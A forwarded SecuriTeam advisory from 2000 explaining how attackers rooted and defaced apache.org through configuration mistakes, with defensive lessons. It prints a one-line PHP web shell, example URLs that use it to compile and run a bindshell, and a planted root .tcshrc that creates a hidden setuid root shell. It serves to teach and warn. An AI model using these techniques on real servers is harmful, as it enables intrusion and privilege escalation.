o-----------ooO--(- Important Message -)--Ooo------------o | | | SAVE BANDWITH, SPACE, TIME & MONEY, REPLY WITH PRUDENCE.| | | o----=[ Penguin @ My - Linux ([EMAIL PROTECTED]) ]=----o -------- Original Message -------- Subject: [NEWS] How apache.org was defaced Date: Tue, 9 May 2000 14:04:22 +0800 From: [EMAIL PROTECTED] To: [EMAIL PROTECTED] The following security advisory is sent to the securiteam mailing list, and can be found at the SecuriTeam web site: http://www.securiteam.com How apache.org was defaced -------------------------------------------------------------------------------- SUMMARY Although this article does not discuss any new vulnerability, it is very important to read and understand the common configuration errors, which were made by the experienced people on apache.org. These mistakes allowed apache.org to be compromised, but the attack was performed by 'gray-hat' hackers, and therefore no damage was caused. There are two important lessons to be learned: 1. Nobody is safe from configuration mistakes. If the developers of the apache web server, the most popular web server on the net, made trivial configuration mistakes which allowed their web site to be compromised, this could happen to anyone. 2. Don't trust anything you download off the Internet. If malicious attackers would have compromised apache.org, the source code of this popular web server could have easily been modified to allow some kind of 'back-door' access to the attackers. Therefore the recommended practice is to only download cryptographically signed binaries or source code, and to verify those signatures to make sure they're authentic. DETAILS This article describes how, over the course of a week, a group of hackers succeeded in getting root access to the machine running www.apache.org, and changed the main page to show a 'Powered by Microsoft BackOffice' logo instead of the default 'Powered by Apache' logo (the feather). No other changes were made, except to prevent other people getting in. (A mirrored version of apache.org's defaced site can be found at: <http://www.attrition.org/mirror/attrition/2000/05/03/www.apache.org> http://www.attrition.org/mirror/attrition/2000/05/03/www.apache.org) Note that the problems described in this paper are not apache-related; these were all configuration errors (one of them is taken straight from BugZilla's README). The vulnerability: The directory structure under the FTP server ftp.apache.org made it possible to upload files into a path that is mapped to the apache web server. This made it possible to upload PHP files into the FTP server, and then execute them from the web. By using the following wuh.php3 script: <? passthru($cmd); ?> It was possible to create a "Trojan" like PHP on the remote server: This script makes it possible to execute shell commands remotely, by passing them as parameters to this PHP script. For example, it was possible to execute the command 'id' by calling the special script as follows: http://www.apache.org/thatdir/wuh.php3?cmd=id Clearly, these shell commands run under the web server user's permissions. While it is typically possible to gain root access from a normal user account (using one of the buffer overflow vulnerabilities or other exploits that are usually available on our <http://www.securiteam.com/exploits/> exploits page), our hackers wanted to gain root access with only configuration vulnerabilities. Next some bindshell was uploaded to the same directory and compiled (this was just as easy as using 'id'): http://www.apache.org/thatdir/wuh.php3?cmd=gcc+-o+httpd+httpd.c After it the program was compiled, it was executed: http://www.apache.org/thatdir/wuh.php3?cmd=./httpd This gives complete shell access from remote. This bindshell code allows telneting to a special unprivileged port (it was set to respond to TCP port 65533) and provided local shell access with the 'nobody' account access rights (the account apache runs under). After local access has been obtained, a higher level of access rights were needed, namely root. After searching for the 'right' vulnerable application, MySQL was chosen. This is because MySQL runs as user root, and because it was reachable locally. Apache.org are running bugzilla, which requires a MySQL account, and since MySQL has its username and password written in plaintext in the bugzilla source it was easy to get a username/password pair for the MySQL database. Using a program called nportredird, the server can now accept connections on port 23306 and redirect them to the localhost port 3306 - enabling the usage of a specially built MySQL client. Having gained access to localhost port 3306, and using the login 'bugs' (which had full access [as in "all Y's"]), our attacker's privileges were elevated substantially. This was mostly due to sloppy reading of the BugZilla README on behalf on the apache.org system administrator. The README does show a quick way to set things up (with all Y's) but also has a lot of security warnings, including "don't run mysqld as root". Using 'SELECT ... INTO OUTFILE;' it was possible to create files anywhere, as root. These files were mode 666, but the MySQL server did not overwrite existing files, so another approach was called for. A Trojan-like trick was used. A database called 'test' was created with a one-column table with an 80-character text field. A couple of inserts and one select later, a /root/.tcshrc was created with contents similar to: #!/bin/sh cp /bin/sh /tmp/.rootsh chmod 4755 /tmp/.rootsh rm -f /root/.tcshrc Quite trivial. Now it was just a matter of time until someone 'su -'. Luckily, with 9 people legally having root, this didn't take long. The rest is trivial too - being root defacing the site was easy, but not until after a short report listing the vulnerabilities and quick fixes was built. Shortly after defacing the site, the attackers sent this report to one of the administrators. In short: The vulnerabilities were due to: - Ftproot==webroot, world-writable directories allowing uploading and execution of php3 scripts. - Mysqld running as root, with a FULL RIGHTS login without a password. ADDITIONAL INFORMATION Information has been provided by: <mailto:[EMAIL PROTECTED]> Peter van Dijk. ======================================== This bulletin is sent to members of the SecuriTeam mailing list. To unsubscribe from the list, send mail with an empty subject line and body to: [EMAIL PROTECTED] In order to subscribe to the mailing list, simply forward this email to: [EMAIL PROTECTED] ==================== ==================== DISCLAIMER: The information in this bulletin is provided "AS IS" without warranty of any kind. In no event shall we be liable for any damages whatsoever including direct, indirect, incidental, consequential, loss of business profits or special damages. - Disclaimer : http://users.my-linux.org/disclaimer.html
